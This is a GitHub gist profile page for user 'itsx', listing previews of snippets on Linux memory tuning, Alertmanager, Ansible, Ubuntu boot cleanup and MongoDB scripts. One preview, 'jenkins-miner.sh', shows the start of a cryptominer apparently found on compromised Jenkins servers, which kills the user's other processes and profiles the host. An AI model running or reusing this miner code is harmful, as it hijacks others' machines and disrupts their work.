Skip to content

Instantly share code, notes, and snippets.

View itsx's full-sized avatar

Tom Bartek itsx

  • Flat Zone
View GitHub Profile
@itsx
itsx / linux_memory_control_to_avoid_swap_thrashing.md
Created December 6, 2019 17:36 — forked from JPvRiel/linux_memory_control_to_avoid_swap_thrashing.md
Notes on linux memory management options to prioritize and control memory access using older ulimits, newer cgroups and overcommit policy settings. Mostly as an attempt to keep a desktop environment responsive and avoid swap thrashing under high memory pressure.

Overview

Some notes about:

  • Explaining why current day Linux memory swap thrashing still happens (as of 2016).
  • Mitigating "stop the world" type thrashing issues on a Linux workstation when it's under high memory pressure and where responsiveness is more important than process completion.
  • Prioritizing and limiting memory use.
  • Older ulimit versus newer CGroup options.

These notes assume some basic background knowledge about memory management, ulimits and cgroups.

@itsx
itsx / monzo-alertmanager-config.yaml
Created November 19, 2019 14:57 — forked from milesbxf/monzo-alertmanager-config.yaml
Monzo's Alertmanager Slack templates
###################################################
##
## Alertmanager YAML configuration for routing.
##
## Will route alerts with a code_owner label to the slack-code-owners receiver
## configured above, but will continue processing them to send to both a
## central Slack channel (slack-monitoring) and PagerDuty receivers
## (pd-warning and pd-critical)
##
@itsx
itsx / markdown-details-collapsible.md
Created November 14, 2019 10:24 — forked from pierrejoubert73/markdown-details-collapsible.md
How to add a collapsible section in markdown.

A collapsible section with markdown

Click to expand!

Heading

  1. A numbered
  2. list
    • With some
    • Sub bullets
@itsx
itsx / clean-up-boot-partition-ubuntu.md
Created October 30, 2019 17:48 — forked from ipbastola/clean-up-boot-partition-ubuntu.md
Safest way to clean up boot partition - Ubuntu 14.04LTS-x64, Ubuntu 16.04LTS-x64

Safest way to clean up boot partition - Ubuntu 14.04LTS-x64, Ubuntu 16.04LTS-x64

Reference

Case I: if /boot is not 100% full and apt is working

1. Check the current kernel version

$ uname -r 
@itsx
itsx / ansible-summary.md
Created October 9, 2019 13:44 — forked from andreicristianpetcu/ansible-summary.md
This is an ANSIBLE Cheat Sheet from Jon Warbrick

An Ansible summary

Jon Warbrick, July 2014, V3.2 (for Ansible 1.7)

Configuration file

intro_configuration.html

First one found from of

@itsx
itsx / jenkins-miner.sh
Created May 23, 2019 13:23 — forked from random-robbie/jenkins-miner.sh
Miner found on jenkins servers.
#!/bin/bash
if [[ $(whoami) != "root" ]]; then
for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do
kill -9 $tr || : ;
done;
fi
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
@itsx
itsx / safe_generators.py
Created October 16, 2018 11:56
safe generators
import itertools
def safe_generator0(docs):
def for_cycle(docs):
for doc in docs:
raise pymongo.errors.AutoReconnect()
yield doc
yield from safe_mongo_call(for_cycle, 10, docs)
# yield from doc
@itsx
itsx / md.txt
Last active June 22, 2020 07:57
[mongo snippets - master_data]
find({ "records.local_id": "odien-real-estate-as_rezidence-veselska__2624_TEST"}
db.getCollection("master_data").find(
{ "records.local_id": "odien-real-estate-as_rezidence-veselska__2624_TEST"},
{ "records": { $elemMatch: {"local_id": "odien-real-estate-as_rezidence-veselska__2624_TEST"}}}
)
@itsx
itsx / log.txt
Created September 4, 2018 20:29
log update
2018-09-04 22:24:36 [update_mongo] DEBUG: local_id: sreality_336609628 (new) | 336609628 (old)
DEBUG:update_mongo:local_id: sreality_336609628 (new) | 336609628 (old)
2018-09-04 22:24:36 [update_mongo] DEBUG: processed document: 35467000
DEBUG:update_mongo:processed document: 35467000
2018-09-04 22:24:36 [update_mongo] INFO: {'error_create_local_id': 56288, 'not_updated_docs': 0, 'error_missing_meta': 0, 'error_spider_creation': 0, 'spider_names_from_map': 0, 'spider_names_from_item': 35467601, 'success_import_for_item': 35467601, 'skipped_sap_docs': 0, 'spider_calls': 35467601, 'error_spider_map': 0, 'missing_meta': 0, 'updated_docs': 35467601, 'error_import_module': 0, 'default_method': 0}
INFO:update_mongo:{'error_create_local_id': 56288, 'not_updated_docs': 0, 'error_missing_meta': 0, 'error_spider_creation': 0, 'spider_names_from_map': 0, 'spider_names_from_item': 35467601, 'success_import_for_item': 35467601, 'skipped_sap_docs': 0, 'spider_calls': 35467601, 'error_spider_map': 0, 'missing_meta': 0,
@itsx
itsx / mongo_update3.py
Last active September 5, 2018 09:48
[mongo_update3]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import argparse
from collections import defaultdict
import datetime
from functools import partial
import inspect
from importlib import import_module
import logging
import munch